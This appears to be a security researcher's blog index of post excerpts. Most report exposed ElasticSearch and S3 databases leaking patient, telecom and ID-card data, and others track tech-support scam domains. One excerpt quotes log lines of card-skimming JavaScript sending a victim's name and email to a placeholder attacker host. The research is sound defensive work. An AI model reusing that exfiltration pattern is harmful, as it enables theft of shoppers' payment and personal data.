leak Steps To Recovery Addiction Treatment Center Leaking PII An improperly secured ElasticSearch database leaked 1.5 years of PII related to individuals who had received medical treatment at an addiction treatment center. Steps to Recovery has yet to reply to any inquiries, and has not notified their patients regarding this PII leak.
leak Kanopy.com leaking API and website access logs kanopy.com has been leaking huge volumes of website access logs as well as API logs via an exposed ElasticSearch database. The database was publicly accessible without any type of authentication.
leak South Korean Android delivery apps found to be leaking passwords and financial data South Korea-based Zcall Delivery Android apps are leaking delivery information, plaintext passwords, and financial information.
leak Online casino group leaks information on 108 million bets, including user details An online casino group has leaked information on over 108 million bets, including details about customers' personal information, deposits, and withdrawals, ZDNet has learned.
leak VOIPO.com Data Leak An improperly secured ElasticSearch database was discovered containing VOIP call logs, SMS/MMS message logs, and plaintext internal system credentials.
leak Real-time location information leaked by 27 Indian government agencies An improperly secured ElasticSearch server leaked data from 11k unique buses associated with 27 Indian government agencies.
leak S3 Leak: 3,000 Permanent Account Number (PAN) cards and National ID (Aadhaar) cards from India In the normal course of scanning for open/exposed/vulnerable Amazon S3 buckets, I discovered a bucket containing 3,000 Permanent Account Number (PAN) cards and National ID (Aadhaar) cards from India.
leak Arik Air - grounded by an Amazon S3 leak 2018-11-01 UPDATE: I did want to clarify in clear terms a handful of inaccurate claims I have seen made regarding this report. This was not a hack. Full stop. I've seen zero evidence
hunting Web of Tech Support Scam Domains This is just a quick brain dump. TL;DR: at least 2,102 tech support scam (TSS) domains. Initial domain I came across: hXXp://ghryuiefdao{.}tk/?number=888-348-1742&bluer=1 2018-07-22 UPDATE:
vacation The Right Way to Set an Out of Office Filter You'd think it's quite easy to deal with your email when you go out of the office for an extended period of time, right? It's not. Sure, you could just set an out
hunting Credit Card Stealing JS One day I noticed log lines like this: [+] Request: http://BADOMAIN/l.php?p=Bob%Smith%7C1%20Bob%20Smith%20Dr.%20%7CSt%7CBobSmith%40gmail.com [+] Referer: https://VICTIMDOMAIN/process.html [+] UserAgent: Mozilla/5.
apps Why I Remember the Milk If you’re looking for a good todo/task/productivity app I’m sure you’ve already realized that you have plenty of options. Creating a todo app is coding 101 for any
